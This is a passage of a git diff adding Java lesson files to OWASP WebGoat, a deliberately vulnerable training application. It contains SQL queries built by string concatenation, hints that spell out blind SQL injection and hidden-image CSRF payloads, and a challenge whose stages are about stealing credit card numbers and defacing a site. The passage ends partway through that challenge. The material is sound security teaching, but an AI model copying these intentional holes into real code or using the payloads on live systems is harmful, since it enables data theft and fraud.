warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Chuck Willis Chuck's web + * site (this lesson is heavily based on Bruce Mayhews' SQL + * Injection lesson + * @created January 14, 2005 + */ +public class BlindSqlInjection extends LessonAdapter +{ + + private final static String ACCT_NUM = "account_number"; + + private final static int TARGET_ACCT_NUM = 15613; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + Connection connection = DatabaseUtilities.getConnection(s); + + ec.addElement(new P().addElement("Enter your Account Number: ")); + + String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); + Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); + ec.addElement(input); + + Element b = ECSFactory.makeButton("Go!"); + ec.addElement(b); + + String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; + String answer_query; + if (runningOnWindows()) + { + answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + + TARGET_ACCT_NUM; + } else + { + answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM; + } + + try + { + Statement answer_statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(answer_query); + answer_results.first(); + System.out.println("Account: " + accountNumber ); + System.out.println("Answer : " + answer_results.getString(1)); + if (accountNumber.toString().equals(answer_results.getString(1))) + { + makeSuccess(s); + } else + { + + Statement statement = connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if ((results != null) && (results.first() == true)) + { + ec.addElement(new P().addElement("Account number is valid")); + } else + { + ec.addElement(new P().addElement("Invalid account number")); + } + } + } + catch (SQLException sqle) + { + ec.addElement(new P().addElement("An error occurred, please try again.")); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * Gets the category attribute of the SqlInjection object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INJECTION; + } + + /** + * Gets the credits attribute of the AbstractLesson object + * + * @return The credits value + */ + public Element getCredits() + { + return new StringElement("By Chuck Willis"); + } + + /** + * + * Determines the OS that WebGoat is running on. Needed because different DB + * backends are used on the different OSes (Access on Windows, InstantDB on + * others) + * + * @return true if running on Windows, false otherwise + */ + private boolean runningOnWindows() + { + String os = System.getProperty("os.name", "Windows"); + if (os.toLowerCase().indexOf("window") != -1) + { + return true; + } else + { + return false; + } + } + + /** + * Gets the hints attribute of the DatabaseFieldScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + if (runningOnWindows()) + { + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Create a SQL statement that you can use as a true/false test and then " + + "select the first character of the target element and do a start narrowing " + + "down the character using > and <" + + "

The backend database is Microsoft Access. Keep that in mind if you research SQL functions " + + "on the Internet since different databases use some different functions and syntax."); + hints.add("This is the code for the query being built and issued by WebGoat:

" + + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + hints + .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " + + "You will need to make use of the following SQL functions: " + + "

SELECT - query for your target data and get a string " + + "

mid(string, start, length) - returns a " + + "substring of string starting at the start character and going for length characters " + + "

asc(string) will return the ascii value of the first character in string " + + "

> and < - once you have a character's value, compare it to a choosen one"); + hints + .add("Example: is the first character of the first_name of userid " + + TARGET_ACCT_NUM + + " less than 'M' (ascii 77)? " + + "

101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + + TARGET_ACCT_NUM + + ") , 1 , 1) ) < 77 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is" + + "invalid then answer is no."); + hints + .add("Another example: is the second character of the first_name of userid " + + TARGET_ACCT_NUM + + " greater than 'm' (ascii 109)? " + + "

101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + + TARGET_ACCT_NUM + + ") , 2 , 1) ) > 109 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + } else + { + hints + .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + + "Create a SQL statement that you can use as a true/false test and then " + + "select the first character of the target element and do a start narrowing " + + "down the character using > and <"); + + hints + .add("The database backend is InstantDB. Here is a reference guide : http://www.instantdb.com/doc/syntax.html"); + hints.add("This is the code for the query being built and issued by WebGoat:

" + + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + hints + .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.

The application is taking your input and inserting it at the end of a pre-formed SQL command. " + + "You will need to make use of the following SQL functions: " + + "

SELECT - query for your target data and get a string " + + "

mid(string, start, length) - returns a " + + "substring of string starting at the start character and going for length characters " + + "

asc(string) will return the ascii value of the first character in string " + + "

> and < - once you have a character's value, compare it to a choosen one"); + hints + .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.

Example: is the first character of the first_name of userid " + + TARGET_ACCT_NUM + + " less than 'M' (ascii 77)? " + + "

101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + + TARGET_ACCT_NUM + + ") , 1 , 1) ) < 77 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is" + + "invalid then answer is no."); + hints + .add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND.

example: is the second character of the first_name of userid " + + TARGET_ACCT_NUM + + " greater than 'm' (ascii 109)? " + + "

101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + + TARGET_ACCT_NUM + + ") , 2 , 1) ) > 109 ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + } + return hints; + } + + /** + * Gets the instructions attribute of the SqlInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "The form below allows a user to enter an account number and determine if " + + "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + + "

Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 " + + "

The goal is to find the value of " + + "the first_name in table user_data for userid " + + TARGET_ACCT_NUM + + ". Put the discovered name in the form to pass the lesson. Only the discovered name " + + "should be put into the form field, paying close attention to the spelling and capitalization."; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(70); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the DatabaseFieldScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Blind SQL Injection"); + } + + /** + * Constructor for the DatabaseFieldScreen object + * + * @param s + * Description of the Parameter + */ + public void handleRequest(WebSession s) + { + try + { + super.handleRequest(s); + } + catch (Exception e) + { + System.out.println("Exception caught: " + e); + e.printStackTrace(System.out); + } + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java b/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java new file mode 100644 index 000000000..e99c9b428 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/BufferOverflow.java @@ -0,0 +1,110 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.StringElement; + +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class BufferOverflow extends LessonAdapter +{ + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + // just to get the generic how to text. + return super.createContent(s); + } + + + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + + return Category.BUFFER_OVERFLOW; + } + + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Lesson Hint 1"); + hints.add("Lesson Hint 2"); + + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(15); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Buffer Overflow"); + } + + + public Element getCredits() + { + return new StringElement( + "This screen created by: Your name could go here"); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java new file mode 100644 index 000000000..cc5b293c5 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CSRF.java @@ -0,0 +1,318 @@ +package org.owasp.webgoat.lessons; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.B; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.apache.ecs.html.TextArea; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + + */ +public class CSRF extends LessonAdapter { + + private final static String MESSAGE = "message"; + private final static int MESSAGE_COL = 3; + private final static String NUMBER = "Num"; + private final static int NUM_COL = 1; + private final static String STANDARD_QUERY = "SELECT * FROM messages"; + private final static String TITLE = "title"; + private final static int TITLE_COL = 2; + private static int count = 1; + private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + /** + * Adds a feature to the Message attribute of the MessageBoardScreen object + * + * @param s The feature to be added to the Message attribute + */ + protected void addMessage( WebSession s ) + { + try + { + String title = HtmlEncoder.encode( s.getParser().getRawParameter( TITLE, "" ) ); + String message = s.getParser().getRawParameter( MESSAGE, "" ); + + Connection connection = DatabaseUtilities.getConnection( s ); + + String query = "INSERT INTO messages VALUES (?, ?, ?, ? )"; + + PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + statement.setInt(1, count++); + statement.setString(2, title); + statement.setString(3, message); + statement.setString(4, s.getUserName()); + statement.executeQuery(); + } + catch ( Exception e ) + { + // ignore the empty resultset on the insert. There are a few more SQL Injection errors + // that could be trapped here but we will let them try. One error would be something + // like "Characters found after end of SQL statement." + if ( e.getMessage().indexOf("No ResultSet was produced") == -1 ) + { + s.setMessage( "Could not add message to database" ); + } + } + } + + @Override + protected Element createContent(WebSession s) { + ElementContainer ec = new ElementContainer(); + + addMessage( s ); + ec.addElement( makeInput( s ) ); + ec.addElement( new HR() ); + ec.addElement( makeCurrent( s ) ); + ec.addElement( new HR() ); + ec.addElement( makeList( s ) ); + + return ec; + } + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeInput( WebSession s ) + { + Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement( new TD( new StringElement( "Title: " ) ) ); + + Input inputTitle = new Input( Input.TEXT, TITLE, "" ); + row1.addElement( new TD( inputTitle ) ); + + TD item1 = new TD(); + item1.setVAlign( "TOP" ); + item1.addElement( new StringElement( "Message: " ) ); + row2.addElement( item1 ); + + TD item2 = new TD(); + TextArea ta = new TextArea( MESSAGE, 5, 60 ); + item2.addElement( ta ); + row2.addElement( item2 ); + t.addElement( row1 ); + t.addElement( row2 ); + + Element b = ECSFactory.makeButton( "Submit" ); + ElementContainer ec = new ElementContainer(); + ec.addElement( t ); + ec.addElement( new P().addElement( b ) ); + + return ( ec ); + } + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + public Element makeList( WebSession s ) + { + Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); + + try + { + Connection connection = DatabaseUtilities.getConnection( s ); + + Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + + ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" ); + + if ( ( results != null ) && ( results.first() == true ) ) + { + results.beforeFirst(); + + for ( int i = 0; results.next(); i++ ) + { + String link = "" + results.getString( TITLE_COL ) + ""; + TD td = new TD().addElement( link ); + TR tr = new TR().addElement( td ); + t.addElement( tr ); + } + } + } + catch ( Exception e ) + { + s.setMessage( "Error while getting message list." ); + } + + ElementContainer ec = new ElementContainer(); + ec.addElement( new H1( "Message List" ) ); + ec.addElement( t ); + String transferFunds = s.getParser().getRawParameter("transferFunds" , ""); + if (transferFunds.length() != 0) + { + makeSuccess(s); + } + + + return ( ec ); + } + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeCurrent( WebSession s ) + { + ElementContainer ec = new ElementContainer(); + + try + { + int messageNum = s.getParser().getIntParameter( NUMBER, 0 ); + + Connection connection = DatabaseUtilities.getConnection( s ); + + String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?"; + PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); + statement.setString(1, getNameroot( s.getUserName() ) + "%"); + statement.setInt(2, messageNum); + ResultSet results = statement.executeQuery(); + + if ( ( results != null ) && results.first() ) + { + ec.addElement( new H1( "Message Contents For: " + results.getString( TITLE_COL )) ); + Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); + TR row1 = new TR( new TD( new B(new StringElement( "Title:" )) ) ); + row1.addElement( new TD( new StringElement( results.getString( TITLE_COL ) ) ) ); + t.addElement( row1 ); + + String messageData = results.getString( MESSAGE_COL ); + TR row2 = new TR( new TD( new B(new StringElement( "Message:" )) ) ); + row2.addElement( new TD( new StringElement( messageData ) ) ); + t.addElement( row2 ); + + TR row3 = new TR( new TD( new StringElement( "Posted By:" ) ) ); + row3.addElement( new TD( new StringElement( results.getString( USER_COL ) ) ) ); + t.addElement( row3 ); + + ec.addElement( t ); + + } + else + { + if ( messageNum != 0 ) + { + ec.addElement( new P().addElement( "Could not find message " + messageNum ) ); + } + } + + } + catch ( Exception e ) + { + s.setMessage( "Error generating " + this.getClass().getName() ); + e.printStackTrace(); + } + + return ( ec ); + } + + @Override + protected Category getDefaultCategory() { + return Category.XSS; + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + @Override + protected Integer getDefaultRanking() { + + return DEFAULT_RANKING; + } + + @Override + protected List getHints(WebSession s) { + List hints = new ArrayList(); + hints.add( "Enter some text and try to include an image in there." ); + hints.add( "In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"." ); + hints.add( "The format of an image in html is
<img src=\"[URL]\" width=\"1\" height=\"1\" />
"); + hints.add( "Include this URL in the message
<img src='" + getLink() +
+			        "&transferFunds=5000' width=\"1\" height=\"1\" />
"); + + return hints; + } + + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ( "Cross Site Request Forgery (CSRF)" ); + } + + private static String getNameroot( String name ) + { + String nameroot = name; + if (nameroot.indexOf('-') != -1) + { + nameroot = nameroot.substring(0, nameroot.indexOf('-')); + } + return nameroot; + } + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java new file mode 100644 index 000000000..f388b7472 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java @@ -0,0 +1,164 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class Category implements Comparable +{ + + public final static Category UNVALIDATED_PARAMETERS = new Category("Unvalidated Parameters", new Integer(110)); + + public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(210)); + + public final static Category AUTHENTICATION = new Category("Authentication Flaws", new Integer(310)); + + public final static Category SESSION_MANAGEMENT = new Category("Session Management Flaws", new Integer(320)); + + public final static Category XSS = new Category("Cross-Site Scripting (XSS)", new Integer(410)); + + public final static Category BUFFER_OVERFLOW = new Category("Buffer Overflows", new Integer(510)); + + public final static Category INJECTION = new Category("Injection Flaws", new Integer(610)); + + public final static Category ERROR_HANDLING = new Category("Improper Error Handling", new Integer(710)); + + public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(810)); + + public final static Category DOS = new Category("Denial of Service", new Integer(910)); + + public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1010)); + + public final static Category WEB_SERVICES = new Category("Web Services", new Integer(1110)); + + public final static Category AJAX_SECURITY = new Category("AJAX Security", new Integer(1150)); + + public final static Category ADMIN_FUNCTIONS = new Category("Admin Functions", new Integer(10)); + + public final static Category GENERAL = new Category("General", new Integer(50)); + + public final static Category CODE_QUALITY = new Category("Code Quality", new Integer(70)); + + public final static Category CONCURRENCY = new Category("Concurrency", new Integer(80)); + + public final static Category CHALLENGE = new Category("Challenge", new Integer(2000)); + + private static final List categories = new ArrayList(); + + private String category; + + private Integer ranking; + + static + { + categories.add(UNVALIDATED_PARAMETERS); + categories.add(ACCESS_CONTROL); + categories.add(AUTHENTICATION); + categories.add(SESSION_MANAGEMENT); + categories.add(XSS); + categories.add(BUFFER_OVERFLOW); + categories.add(INJECTION); + categories.add(ERROR_HANDLING); + categories.add(INSECURE_STORAGE); + categories.add(DOS); + categories.add(INSECURE_CONFIGURATION); + categories.add(WEB_SERVICES); + categories.add(AJAX_SECURITY); + categories.add(ADMIN_FUNCTIONS); + categories.add(GENERAL); + categories.add(CODE_QUALITY); + categories.add(CONCURRENCY); + categories.add(CHALLENGE); + } + + public static synchronized void addCategory(Category c) + { + categories.add(c); + } + + public static synchronized Category getCategory(String name) + { + Iterator it = categories.iterator(); + while (it.hasNext()) + { + Category c = it.next(); + if (c.getName().equals(name)) return c; + } + return null; + } + + public Category(String category, Integer ranking) + { + this.category = category; + this.ranking = ranking; + } + + public int compareTo(Object obj) + { + int value = 1; + + if (obj instanceof Category) + { + value = this.getRanking().compareTo(((Category) obj).getRanking()); + } + + return value; + } + + public Integer getRanking() + { + return ranking; + } + + public Integer setRanking(Integer ranking) + { + return this.ranking = ranking; + } + + public String getName() + { + return category; + } + + public boolean equals(Object obj) + { + return (obj instanceof Category) && getName().equals(((Category) obj).getName()); + } + + public String toString() + { + return getName(); + } +} \ No newline at end of file diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java new file mode 100644 index 000000000..ae55a66a0 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java @@ -0,0 +1,826 @@ +package org.owasp.webgoat.lessons; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.OutputStreamWriter; +import java.net.DatagramPacket; +import java.net.DatagramSocket; +import java.net.InetAddress; +import java.net.Socket; +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; +import java.util.StringTokenizer; +import java.util.Vector; + +import javax.servlet.http.Cookie; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.Exec; +import org.owasp.webgoat.util.ExecResults; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class Challenge2Screen extends SequentialLessonAdapter +{ + private static final String USER_COOKIE = "user"; + + private static final String JSP = ".jsp"; + + private static final String WEBGOAT_CHALLENGE = "webgoat_challenge"; + + private static final String WEBGOAT_CHALLENGE_JSP = WEBGOAT_CHALLENGE + JSP; + + private static final String PROCEED_TO_NEXT_STAGE = "Proceed to the next stage..."; + + /** + * Description of the Field + */ + protected final static String CREDIT = "Credit"; + + /** + * Description of the Field + */ + protected final static String PROTOCOL = "File"; + + /** + * Description of the Field + */ + protected final static String MESSAGE = "Message"; + + /** + * Description of the Field + */ + protected final static String PARAM = "p"; + + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; + + /** + * Description of the Field + */ + protected final static String USER = "s"; + + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; + + private String pass = "goodbye"; + + private String user = "youaretheweakestlink"; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + /** + * Determine the username and password + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage1(WebSession s) throws Exception + { + setStage(s, 1); + + String username = s.getParser().getStringParameter(USERNAME, ""); + String password = s.getParser().getStringParameter(PASSWORD, ""); + phoneHome(s, "User: " + user + " --> " + "Pass: " + pass); + + if (username.equals(user) && password.equals(pass)) + { + s.setMessage("Welcome to stage 2 -- get credit card numbers!"); + setStage(s, 2); + + return (doStage2(s)); + } + + s.setMessage("Invalid login"); + + ElementContainer ec = new ElementContainer(); + ec.addElement(makeLogin(s)); + + // + // these are red herrings for the first stage + Input input = new Input(Input.HIDDEN, USER, "White"); + ec.addElement(input); + + Cookie newCookie = new Cookie(USER_COOKIE, "White"); + s.getResponse().addCookie(newCookie); + // + + return (ec); + } + + // get creditcards from database + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + protected Element doStage2(WebSession s) throws Exception + { + // + + Cookie newCookie = new Cookie(USER_COOKIE, "White"); + s.getResponse().addCookie(newCookie); + + ElementContainer ec = new ElementContainer(); + if (s.getParser().getStringParameter(Input.SUBMIT, "") + .equals(PROCEED_TO_NEXT_STAGE + "(3)")) + { + s.setMessage("Welcome to stage 3 -- deface the site"); + setStage(s, 3); + // Reset the defaced webpage so the lesson can start over + resetWebPage(s); + return doStage3(s); + } + + Connection connection = DatabaseUtilities.getConnection(s); + + Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + + // pull the USER_COOKIE from the cookies + String user = getCookie(s); + String query = "SELECT * FROM user_data WHERE last_name = '" + user + "'"; + Vector v = new Vector(); + + try + { + ResultSet results = statement3.executeQuery(query); + + while (results.next()) + { + String type = results.getString("cc_type"); + String num = results.getString("cc_number"); + v.addElement(type + "-" + num); + } + if (v.size() != 13) + { + s.setMessage("Try to get all the credit card numbers"); + } + + ec.addElement(buildCart(s)); + + Table t = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(0).setWidth("90%").setAlign("center"); + + ec.addElement(new BR()); + TR tr = new TR(); + tr.addElement(new TD().addElement("Please select credit card for this purchase: ")); + Element p = ECSFactory.makePulldown(CREDIT, v); + tr.addElement(new TD().addElement(p).setAlign("right")); + t.addElement(tr); + + tr = new TR(); + Element b = ECSFactory.makeButton("Buy Now!"); + tr.addElement(new TD().addElement(b)); + t.addElement(tr); + ec.addElement(t); + + ec.addElement(new BR()); + Input input = new Input(Input.HIDDEN, USER, "White"); + ec.addElement(input); + + //STAGE 3 BUTTON + if (v.size() == 13) + { + s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!"); + ec.addElement(new BR()); + //TR inf = new TR(); + Center center = new Center(); + Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)"); + center.addElement(proceed); + //inf.addElement(new TD().addElement(proceed).setAlign("center")); + ec.addElement(center); + } + + } + catch (Exception e) + { + s.setMessage("An error occurred in the woods"); + } + + return (ec); + // + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + * @exception Exception + * Description of the Exception + */ + /* + * (non-Javadoc) + * + * @see lessons.LessonAdapter#doStage3(session.WebSession) + */ + protected Element doStage3(WebSession s) throws Exception + { + // + + ElementContainer ec = new ElementContainer(); + if (s.getParser().getStringParameter(Input.SUBMIT, "") + .equals(PROCEED_TO_NEXT_STAGE + "(4)")) + { + setStage(s, 4); + // Reset the defaced webpage so the lesson can start over + resetWebPage(s); + return doStage4(s); + } + + // execute the possible attack first to determine if site is defaced. + ElementContainer netstatResults = getNetstatResults(s); + if (isDefaced(s)) + { + ec.addElement(new HR()); + s.setMessage("CONGRATULATIONS - You have defaced the site!"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( + "center"); + if (s.isColor()) + { + t.setBorder(1); + } + TR tr = new TR(); + tr.addElement(new TD().setAlign("center").addElement( + ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)"))); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(showDefaceAttempt(s))); + t.addElement(tr); + ec.addElement(t); + return ec; + } else + { + // Setup the screen content + try + { + ec.addElement(new H1("Current Network Status:")); + ec.addElement(netstatResults); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign( + 